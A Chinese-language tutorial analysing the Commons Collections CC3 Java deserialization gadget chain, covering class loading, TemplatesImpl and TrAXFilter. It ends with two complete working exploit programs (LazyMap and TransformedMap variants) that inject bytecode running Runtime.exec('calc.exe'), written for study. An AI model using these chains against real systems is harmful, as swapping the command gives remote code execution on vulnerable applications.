Java安全 CC链3分析
- cc链3介绍
- 前置知识
- 类加载
- 类加载的方法
- 例1.forName
- 例2.getSystemClassLoader
- 总结
- javassist模块
- cc链3分析
- TemplatesImpl类
- demo2
- TrAXFilter类
- InstantiateTransformer类
- 最终exp
- 基于LazyMap链
- 基于TransformedMap链
cc链3介绍
cc链3的后半部分与cc链1相同,都是通过TransformedMap类或LazyMap类触发transform方法,从而触发核心链,与cc1不同的是,cc链3的核心链用到了类在加载初始化时会自动执行静态方法
有关环境配置和CC链3后接的CC链1部分解析可查看以下两篇文章
Java安全 CC链1分析
Java安全 CC链1分析(Lazymap类)
前置知识
类加载
java类加载的机制如下
java中的类在使用时只会被加载一次,当第一次使用某个类时,Java虚拟机会查找并加载相应的class文件,并将其转换成可执行的字节码。加载完成后,该类的定义信息将存储在方法区中,供后续使用
类在加载成功初始化时静态代码块会被执行
在同一个类加载器的作用范围内,如果再次加载同一个类,Java虚拟机会直接返回已经加载过的类的定义信息,而不会重新加载和初始化。这也意味着类静态代码块只会执行一次。
cc链3就是通过对初始化时的静态代码植入恶意代码,从而命令执行
类加载的方法
这里是一个demo
我们来探究其中的代码什么情况下会执行
public class demo1 {static {System.out.println(1);} public demo1(){System.out.println(2);}}
例1.forName
我们测试forName方法加载类是否会触发的静态代码
String url = "org.example.cc3.demo1";Class<" />> className = Class.forName(url); //输出1test test1 = (test) className.newInstance(); //输出2
例2.getSystemClassLoader
我们测试getSystemClassLoader方法加载类是否会触发的静态代码
String url = "org.example.cc3.demo1";ClassLoader loader = ClassLoader.getSystemClassLoader();Class<?> clazz = loader.loadClass(url2); //输出空test test2 = (test) clazz.newInstance(); //输出1和2
总结
- forName方法加载类的时候会自动初始化类,从而触发静态代码,输出1
- loadClass方法只会加载类,不会初始化类,从而不会触发静态代码,故输出空白
- newInstance方法会实例化类并初始化类,但类在加载时只会被初始化一次,故例1中newInstance方法只会输出构造方法中的2,而例2中会输出静态代码中的1和构造方法中的2
javassist模块
exp里我们使用了javassist模块来创建具有恶意代码的类的字节码,这里简述一下常用的方法,不再过多赘述
exp中关键代码如下
ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};
ClassPool pool = ClassPool.getDefault();
– 获取默认的类池对象。pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
– 插入一个类路径,这里是插入了AbstractTranslet
类的类路径。CtClass cc = pool.makeClass("Cat");
– 使用类池创建一个新的类Cat
。String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
– 准备一个待插入到类初始化器中的恶意命令,这里是执行 calc.exe(Windows 计算器)。cc.makeClassInitializer().insertBefore(cmd);
– 在类初始化器中插入刚才准备的恶意命令。String randomClassName = "EvilCat" + System.nanoTime();
– 创建一个随机的类名。cc.setName(randomClassName);
– 将类的名称设置为刚才生成的随机类名。cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
– 设置新建类的父类为AbstractTranslet
。cc.writeFile();
– 将生成的类文件写入磁盘。byte[] classBytes = cc.toBytecode();
– 获取生成类的字节码。byte[][] targetByteCodes = new byte[][]{classBytes};
– 将类字节码存储在一个二维数组中
cc链3分析
TemplatesImpl类
这里我们用TemplatesImpl类
进行类加载,触发类中的静态方法
TemplatesImpl类中是使用ClassLoader中的loadClass方法加载类的,故不能初始化类,需要配合newInstance方法才可以初始化类,从而触发静态方法
当 ClassLoader方法
加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass()
方法来将类的字节码转换为 Class 对象
我们先查看下TemplatesImpl类
中的defineClass方法
(该方法属于静态类TransletClassLoader),代码如下
TemplatesImpl类是ClassLoader类的一个子类,重写了defineClass方法和loadClass方法
static final class TransletClassLoader extends ClassLoader { …………Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}…………}
我们再来看一下哪里调用了defineClass方法
,右键查看用法,我们找到defineTransletClasses方法
调用了该方法,关键代码如下
private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)……………………for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]); //调用defineClassfinal Class superClass = _class[i].getSuperclass();………………}
我们看到loader对象
是对静态类TransletClassLoader
的一个引用,通过一个for循环来加载文件中类的字节码到class[i]数组,关键代码为class[i] = loader.defineClass(_bytecodes[i])
但是 defineTransletClasses方法
是私有的,我们再右键查看一下哪里调用了defineTransletClasses方法
我们来到getTransletInstance方法
,关键代码如下
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();………………}
我们看到只要满足_name != null
和_class == null
这两个条件就会执行defineTransletClasses()方法加载类,然后执行newInstance()方法
初始化类执行静态代码
但是getTransletInstance方法也是私有的,我们再来看看哪里调用了getTransletInstance方法
,右键查看用法,我们来到了newTransformer方法
,这个方法是公有的,代码如下
这里我们发现
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
,该行代码是把我们加载的字节码对象实例化为AbstractTranslet类型的对象,故我们需要将构造的字节码对象的父类设置为AbstractTranslet类
public synchronized Transformer newTransformer()throws TransformerConfigurationException{TransformerImpl transformer;//下行代码调用了getTransletInstance()方法transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;}
demo2
我们先来看下TemplatesImpl类
中各属性的初始值
demo中需要满足的条件如下
- _bytecodes属性为有静态恶意代码的类字节码
- _name属性不为空
- _tfactory属性赋值为TransformerFactoryImpl()类
- _class属性为空
这里我们就上面的发现写一条中间的链,测试一下
package org.example;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import java.lang.reflect.*;public class cc31 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates = new TemplatesImpl();Class tc = templates.getClass();Field byField = tc.getDeclaredField("_bytecodes");byField.setAccessible(true);byField.set(templates,targetByteCodes); //传进去恶意字节码文件Field nameField = tc.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templates,"a"); //给_name赋值,不为空Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());templates.newTransformer();}}
我们来讲下为什么需要给_tfactory属性
赋值,这里我们来到之前的defineTransletClasses类
中,发现有该段代码
AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});
这里调用了_tfactory.getExternalExtensionsMap()
方法,我们看下**_tfactory属性的初始值**,右键转到声明
private transient TransformerFactoryImpl _tfactory = null;
发现初始值为null,null当然没有getExternalExtensionsMap()方法,这样的话会导致demo运行出错,我们再次右键查看_tfactory属性
的用法,查看在哪赋值
我们发现_tfactory属性
会在当前对象执行readObject方法
,也就是反序列化的时候被赋值为TransformerFactoryImpl()类,但是我们这个是中期demo,并不涉及反序列化,故需要手动设**_tfactory属性为TransformerFactoryImpl()类**
我们运行demo成功弹出计算器
TrAXFilter类
接下来我们便查看哪里调用了TemplatesImpl类
的newTransformer方法
,我们来到TrAXFilter类
,发现其构造方法会调用newTransformer方法
public TrAXFilter(Templates templates)throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer(); //这里_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}
我们只需在构造方法中传入templates为TemplatesImpl对象即可
InstantiateTransformer类
我们需要把前面的demo2接上cc1的后半段,这就需要用到transform方法了
我们查看下InstantiateTransformer类
的transform方法
public Object transform(Object input) {try { //不是class对象则抛出异常if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null " />"null object" : input.getClass().getName()));}//获取构造器Constructor con = ((Class) input).getConstructor(iParamTypes);//实例化对象return con.newInstance(iArgs); } catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}
发现该transform方法
会根据传入的input类型参数去通过反射实例化一个类
我们需要将input参数设置为TrAXFilter类的class对象(通过ChainedTransformer的循环调用transform方法实现)
然后我们再查看下InstantiateTransformer类
的构造方法,代码如下
public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;}
发现transform方法
里的iParamTypes和iArgs参数可控,我们需要将iParamTypes设置为TrAXFilter类构造方法的参数类型,以便正确获得构造器,从而实例化
然后把iArgs参数
设置为TemplatesImpl对象
,从而在实例化TrAXFilter对象的时候,把TrAXFilter对象的构造方法中_templates属性
赋值为TemplatesImpl对象
,从而在TrAXFilter对象的构造方法中调用TemplatesImpl对象
的newTransformer()方法
,从而加载静态代码做到恶意代码执行
最终exp
基于LazyMap链
package org.example;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc3 {public static void main(String[] args) throws Exception {//使用Javassit新建一个含有static的类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);setFieldValue(templates, "_name", "blckder02");setFieldValue(templates, "_class", null);//实例化新建类Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer transformerChain = new ChainedTransformer(transformers);//调用get()中的transform方法HashMap innermap = new HashMap();LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);//设置代理,触发invoke()调用get()方法Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));outputStream.writeObject(handler2);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}}
基于TransformedMap链
package org.example;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc3 {public static void main(String[] args) throws Exception {//使用Javassit新建一个含有static的类ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "EvilCat" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));cc.writeFile();byte[] classBytes = cc.toBytecode();byte[][] targetByteCodes = new byte[][]{classBytes};//补充实例化新建类所需的条件TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes", targetByteCodes);setFieldValue(templates, "_name", "blckder02");setFieldValue(templates, "_class", null);//实例化新建类Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})};ChainedTransformer transformerChain = new ChainedTransformer(transformers);//触发利用链Map map = new HashMap();map.put("value", "test");Map transformedMap= TransformedMap.decorate(map, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(instance);oos.close();ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object obj = (Object) ois.readObject();}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}}